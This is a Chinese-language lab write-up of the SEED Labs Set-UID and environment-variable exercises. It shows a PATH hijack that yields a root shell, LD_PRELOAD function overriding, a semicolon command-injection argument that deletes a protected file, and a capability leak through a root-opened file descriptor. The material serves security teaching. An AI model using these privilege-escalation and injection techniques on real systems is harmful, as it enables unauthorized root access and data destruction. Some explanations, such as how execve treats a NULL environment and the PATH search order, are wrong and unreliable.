PWN第一点三步_seedlabs_setuid_env

修改环境变量

可以用来显示环境变量的命令

1
2
printenv
env

可以修改环境变量的命令:两个Bash的内部命令

1
2
export
unset

从父进程传递环境变量到子进程

在 Unix 中,fork() 函数通过复制调用进程来创建一个新进程。新进程称为子进程,是调用进程的精确副本,这个调用进程被称为父进程;但是,子进程没有继承父进程的一些内容(请参见 fork() 的手册,方法是键入以下命令:man fork)

先编译,然后输出子进程环境变量;

然后将子进程的printenv();注释掉,然后取消注释父进程的printenv(),再编译,再输出父进程环境变量;

直接用diff比较两个输出内容,发现一样。

execve()和环境变量

execve() 是一个 Unix 系统调用,用于执行指定路径的程序。它会将当前进程替换为新程序,新程序的堆、栈和数据段都会被初始化。execve() 函数有三个参数:第一个参数是要执行的程序的路径名,第二个参数是传递给新程序的命令行参数,第三个参数是传递给新程序的环境变量。当 execve() 函数执行成功时,它不会返回任何值,而是直接开始执行新程序。如果 execve() 函数执行失败,则会返回 -1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <unistd.h>

extern char **environ;

int main()
{
char *argv[2];

argv[0] = "/usr/bin/env";
argv[1] = NULL;

execve("/usr/bin/env", argv, NULL);

return 0 ;
}

这段 C 代码使用 execve() 函数来执行 /usr/bin/env 程序。execve() 函数会将当前进程替换为新程序,新程序的堆、栈和数据段都会被初始化。在这个例子中,argv[0] 被设置为 /usr/bin/env,argv[1] 被设置为 NULL,因此 /usr/bin/env 程序将被执行。由于第三个参数 envp 被设置为 NULL,因此新程序将继承当前进程的环境变量。如果 execve() 函数执行成功,则不会返回任何值,而是直接开始执行新程序。如果 execve() 函数执行失败,则会返回 -1 。

接下来,修改execve()的参数,将其转为

1
execve("/usr/bin/env", argv, environ);

即能获取当前环境变量表。

为什么能获取环境变量?
因为execve()第三个参数是输入环境变量。而

1
extern char **environ;

在Unix中是环境变量表。

system()和环境变量

system() 函数用于执行命令,但与 execve() 直接执行命令不同,system() 实际上执行的是 “/bin/sh -c command”,即它执行 /bin/sh,并要求 shell 执行命令。如果您查看 system() 函数的实现,您会发现它使用 execl() 来执行 /bin/sh;execl() 调用 execve(),并将环境变量数组传递给它。因此,使用 system(),调用进程的环境变量被传递给新程序 /bin/sh。

1
2
3
4
5
6
#include <stdio.h>
#include <stdlib.h>
int main(){
system("/usr/bin/env");
return 0 ;
}

这段代码使用了 system 函数来执行 /usr/bin/env 程序,该程序会打印出当前环境变量的值。system 函数会在一个子进程中执行命令,并等待命令执行完毕后返回。在这个程序中,/usr/bin/env 是一个可执行文件,它会输出当前环境变量的值。

环境变量和set-uid程序

什么是set-uid程序?

set-uid 程序是一种特殊类型的程序,它在执行过程中可以将其有效用户ID修改为文件的所有者的用户ID。这样做有两个主要目的:一是为了在文件的所有者权限下执行程序,而不是以当前用户的权限执行;二是为了让普通用户拥有权限用户的权限。

  1. 写一个可以输出当前进程环境变量的程序
1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
int main(){
int i = 0;
while (environ[i] != NULL) {
printf("%s\n", environ[i]);
i++;
}
}
  1. 编译,将其所有者切为root

    1
    2
    sudo chown root setuid.o
    sudo chmod 4755 setuid.o
  2. 在普通用户的shell进程中设置环境变量,然后在shell中运行第2步中的Set-UID程序。在shell中键入程序名称后,shell会分叉一个子进程,并使用该子进程来运行程序。

用于实验的、在普通用户shell中设置的环境变量有:

  • PATH
  • LD_LIBRARY_PATH
  • 任意自己起的环境变量名

可以发现,PATH变量和自创变量都成功查找, 而 LD_LIBRARY_PATH 环境变量查找失败。这是因为EUID和RUID不同时,它会忽略LD_PRELOAD和LD_LIBRARY_PATH环境变量。

PATH环境变量和set-uid程序

因为调用了shell程序,所以在Set-UID程序中调用system()是非常危险的。这是因为shell程序的实际行为可能会受到环境变量(例如PATH)的影响;这些环境变量由用户提供,而用户可能是恶意的。通过更改这些变量,恶意用户可以控制Set-UID程序的行为。

在bash中,可以通过下面这种命令来修改PATH环境变量。

1
export PATH=/home/nihao:$PATH

这行命令在PATH环境变量前加了/home/nihao。

尝试用set-uid程序运行自己的代码

编写代码

1
2
3
4
5
6
#include<stdlib.h>

int main(){
system("ls");
return 0;
}

编译运行,程序正常执行ls命令。
将自己编译的文件代替/bin/ls的一种可行方式就是提高该文件的搜索路径优先级,提高到/bin/ls前。将/tmp路径加入PATH的最高优先搜索路径,并将/bin/sh替换为/bin/zsh降低其优先级,并将其命名为ls。

1
2
3
4
export PATH=/tmp:$PATH
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
cp /bin/sh /tmp/ls

首先,“export PATH=/tmp:$PATH”将/tmp放在PATH环境变量刚开始的地方,这样当命令执行时,系统会首先在/bin路径下找,然后再去其他的路径下找。

然后,“sudo rm /bin/sh”将/bin/sh删了。

然后,“sudo ln -s /bin/zsh /bin/sh”设置了从/bin/sh的软连接更改为/bin/zsh。

软连接(符号链接)是一种特殊类型的文件,它指向另一个文件或目录。在本例中,它使 /bin/sh 指向 /bin/zsh,后者是另一个 shell 程序。

最后,”cp /bin/sh /tmp/ls”将/bin/sh拷到/tmp下,并改名为“ls”。

再运行那个运行ls的文件,成功获得一个root的shell。

1
2
3
seed@VM:~/.../Labsetup$$pathsetuid.o 
VM# whoami
root

seed给出了这样的提示:

system(cmd)函数首先执行/bin/sh程序,然后请求该shell程序运行cmd命令。在Ubuntu 20.04(以及之前的几个版本)中,/bin/sh实际上是指向/bin/dash的符号链接。这个shell程序有一种对抗措施,可以防止它在Set-UID进程中被执行。基本上,如果dash检测到它在Set-UID进程中被执行,它会立即将有效用户ID更改为进程的实际用户ID,从而降低权限。由于我们的受害者程序是Set-UID程序,因此/bin/dash中的对抗措施可以防止我们的攻击。为了看到我们的攻击如何在没有这种对抗措施的情况下工作,我们将/bin/sh链接到另一个没有这种对抗措施的shell。我们在Ubuntu 20.04 VM中安装了一个名为zsh的shell程序。我们使用以下命令将/bin/sh链接到/bin/zsh:

那么,就可以这样直接改软连接了

1
2
3
export PATH=/tmp:$PATH
sudo ln -sf /bin/zsh /bin/sh
cp /bin/sh /tmp/ls

为什么-sf参数可以不用移除/bin/sh?

The difference between sudo ln -sf /bin/zsh /bin/sh and sudo ln -s /bin/zsh /bin/sh is that the former command will force the creation of the symbolic link /bin/sh to point to /bin/zsh, even if /bin/sh already exists. This means that if /bin/sh is already a symbolic link, it will be replaced by the new link. On the other hand, the latter command will create a symbolic link only if /bin/sh does not already exist. If /bin/sh already exists, it will not be replaced .

LD_PRELOAD环境变量和set-uid程序

LD PRELOAD、LD LIBRARY PATH和其他LD *,会影响动态加载器/链接器的行为。动态加载器/链接器是操作系统(OS)的一部分,它在运行时从持久存储加载并链接可执行文件所需的共享库。在Linux中,ld.so或ld-linux.so是动态加载器/链接器(每个二进制文件类型都有不同的)。在影响它们行为的环境变量中,LD LIBRARY PATH和LD PRELOAD是我们在本实验室中关注的两个变量。在Linux中,LD LIBRARY PATH是一个由冒号分隔的目录集合,其中应该首先搜索库,然后才是标准目录集合。LD PRELOAD指定了一个附加的、用户指定的共享库列表,在所有其他库之前加载。在这个任务中,我们只研究LD PRELOAD。

LD_LIBRARY_PATH是Linux系统下的环境变量名,类似于PATH(设置可执行文件的搜索路径)。它的作用是用于指定查找共享库(动态链接库)时除了默认路径(./lib和./usr/lib)之外的其他路径。在Linux中,ld.so或ld-linux.so是动态加载器/链接器(每个二进制文件类型都有不同的)。在影响它们行为的环境变量中,LD_LIBRARY_PATH是其中一个变量。它用于运行时链接共享库。如果LD_LIBRARY_PATH包含库目录而LIBRARY_PATH不包含,那么在编译时可以正常链接到库,但在运行时可能无法找到库文件

查看环境变量是如何在普通程序运行时影响动态加载器/链接器的行为的

  1. 搭建一个动态链接库。建立如下程序,重载sleep()这一库函数

    1
    2
    3
    4
    #include<stdio.h>
    void sleep (int s){
    printf("Invoke overrided sleep function");
    }
  2. 编译程序

    1
    2
    gcc -fPIC -g -c mylib.c
    gcc -shared -o libmylib.so.1.0.1 mylib.o -lc

这两行命令的作用是编译和链接一个共享库。第一行命令使用gcc编译mylib.c文件并生成一个目标文件mylib.o。其中,-fPIC选项表示生成位置无关代码,-g选项表示在目标文件中包含调试信息,-c选项表示只编译源文件而不进行链接。第二行命令使用gcc将目标文件链接到一个共享库中。其中,-shared选项表示生成共享库,-o libmylib.so.1.0.1选项指定生成的共享库的名称,mylib.o是要链接的目标文件,而-lc选项表示在链接时使用C标准库。生成的共享库将被命名为libmylib.so.1.0.1。

1
2
3
4
5
6
7
8
在这个例子中,-o选项指定了共享库的名称为libmylib.so.1.0.1。这个名称的格式是lib<name>.so.<major>.<minor>.<patch>,其中:

<name>是共享库的名称。
<major>是主版本号,它在向后不兼容的更改时增加。
<minor>是次版本号,它在向后兼容的更改时增加。
<patch>是修订号,它在进行向后兼容的错误修复时增加。

*请注意,这只是一种命名约定,并不是强制性的。开发人员可以根据自己的需要选择其他命名方案*
  1. 设置LD_PRELOAD环境变量

    1
    export LD_PRELOAD=./libmylib.so.1.0.1
  2. 最后,编译如下的程序,放到动态链接库的同一个目录下。

    1
    2
    3
    4
    5
    #include <unistd.h>
    int main(){
    sleep(1);
    return 0;
    }

运行一下,果然被重载了。

1
2
seed@VM:~/.../Labsetup$ mli.o
Invoke overrided sleep function

尝试在不同情况下运行的结果:

  1. 以普通用户运行 - 正常sleep一秒钟
  2. 以普通用户运行set-uid程序 - 正常sleep一秒钟
  3. 在root下运行LD_PRELOAD环境变量,并在原普通用户下运行set-uid程序 - 正常sleep一秒钟
  4. 将程序化为一个set-uid user1程序,并在另一个非root用户export环境变量LD_PRELOAD运行 - 正常sleep一秒钟
  5. 在另一个非root用户下export环境变量LD_PRELOAD运行 - 正常sleep一秒钟
  6. 将文件所有者改为本用户,将程序改为非set-uid模式,载入环境变量LD_PRELOAD运行 - 函数被重载
  7. 将文件所有者改为root,将程序改为非set-uid模式,载入环境变量LD_PRELOAD运行 - 函数被重载
  8. 将文件所有者改为root,将程序改为set-uid模式,载入环境变量LD_PRELOAD运行 - 正常sleep一秒钟

当程序设置了setuid若不是该程序的拥有用,则会略过由拥有该程序的用户设置的LD_PRELOAD,即为直接执行sleep()。当程序不是setuid时,无论执行用户是谁,都会执行新的、所设置的LD_PRELOAD。该实验体现了对于环境变量的保护策略。

调用外部程序:system()和execve()

虽然system()和execve()都可以用于运行新程序,但如果在权限程序(例如Set-UID程序)中使用system(),那么它就非常危险。我们已经看到了PATH环境变量如何影响system()的行为,因为该变量会影响shell的工作方式。execve()没有这个问题,因为它不会调用shell。调用shell会带来另一个危险的后果,而这一次与环境变量无关。让我们看看以下情况。Bob在审计机构工作,他需要调查一家涉嫌欺诈的公司。为了调查目的,Bob需要能够读取公司Unix系统中的所有文件;另一方面,为了保护系统的完整性,Bob不应该能够修改任何文件。为了实现这个目标,系统的超级用户Vince编写了一个特殊的set-root-uid程序(见下文),然后将可执行权限授予Bob。这个程序要求Bob在命令行上输入文件名,然后它将运行/bin/cat来显示指定的文件。由于该程序正在以root身份运行,因此它可以显示任何Bob指定的文件。但是这个程序没有写权限,所以Vince确定Bob不能用这个特殊的程序修改任何文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char *v[3];
char *command;

if(argc < 2) {
printf("Please type a file name.\n");
return 1;
}

v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;

command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
sprintf(command, "%s %s", v[0], v[1]);

// Use only one of the followings.
system(command);
// execve(v[0], v, NULL);

return 0 ;
}

这段代码是一个简单的C程序,它的主要功能是读取命令行参数中指定的文件并将其内容输出到标准输出。该程序使用了系统调用/bin/cat来实现这个功能。如果没有命令行参数,程序将输出一条错误消息并返回1。如果命令行参数不足,则程序将输出一条提示消息并返回1。该程序使用了动态内存分配来创建一个字符串,该字符串包含要执行的命令及其参数。最后,该程序使用system()函数来执行该命令。如果您想使用execve()函数来代替system()函数,您可以注释掉system()函数并取消注释execve()函数。

如何使用这个程序来攻击?如,删掉一个无权限写的文件?

  1. 编译文件,使其所有者变为root,并让其变为一个set-uid程序

    1
    2
    3
    gcc catall.c -o catall.o
    sudo chown root catall.o
    udo chmod 4755 catall.o
  2. 创建一个只读文件

    1
    2
    touch ro.file
    chmod 444 ro.file
  3. 利用set-uid程序删除该文件:命令截断

    1
    ./catall.o "./ro.file;rm ./ro.file"

system()在执行时相当于调用了一个shell来执行命令。上面构造的命令相当于两个进程同时进行,一个是/bin/cat ./ro.file 另一个是rm ./ro.file。这两个进程全部有root权限,所以删除了只读文件。

换成execve()再试一次

当然是删除失败。因为execve()不调用shell,相当于传一个字符串。也就是cat“./ro.file;rm ./ro.file”这个文件,当然无法执行了。

在权限程序中调用外部程序时,使用execve()更加安全。

权限泄露

为了遵循最小权限原则,如果不再需要这些权限,Set-UID程序通常会永久放弃其root权限。此外,有时程序需要将其控制权交给用户;在这种情况下,必须撤销root权限。setuid()系统调用可用于撤销权限。根据手册,“setuid()设置调用进程的有效用户ID。如果调用者的有效UID是root,则还设置了实际UID和保存的设置用户ID”。因此,如果具有有效UID 0的Set-UID程序调用setuid(n),则该进程将变为普通进程,其所有UID都设置为n。

在撤销权限时,常见的错误之一是功能泄漏。当进程仍然具有权限时,可能已经获得了一些权限功能;当权限被降级时,如果程序没有清除这些功能,则非权限进程仍然可以访问这些功能。换句话说,尽管进程的有效用户ID变为非权限用户,但该进程仍然具有权限,因为它拥有权限功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

void main(){
int fd;
char *v[2];

/* Assume that /etc/zzz is an important system file,
* and it is owned by root with permission 0644.
* Before running this program, you should create
* the file /etc/zzz first. */
fd = open("/etc/zzz", O_RDWR | O_APPEND);
if (fd == -1) {
printf("Cannot open /etc/zzz\n");
exit(0);
}

// Print out the file descriptor value
printf("fd is %d\n", fd);

// Permanently disable the privilege by making the
// effective uid the same as the real uid
setuid(getuid());

// Execute /bin/sh
v[0] = "/bin/sh"; v[1] = 0;
execve(v[0], v, 0);
}

使用root权限下打开的文件,当结束root权限并降权后,应该立即关闭以避免权限泄露。否则,使用root权限打开的文件,在降为普通用户权限后,root权限的能力并未移除,仍能使用root权限来操作该文件。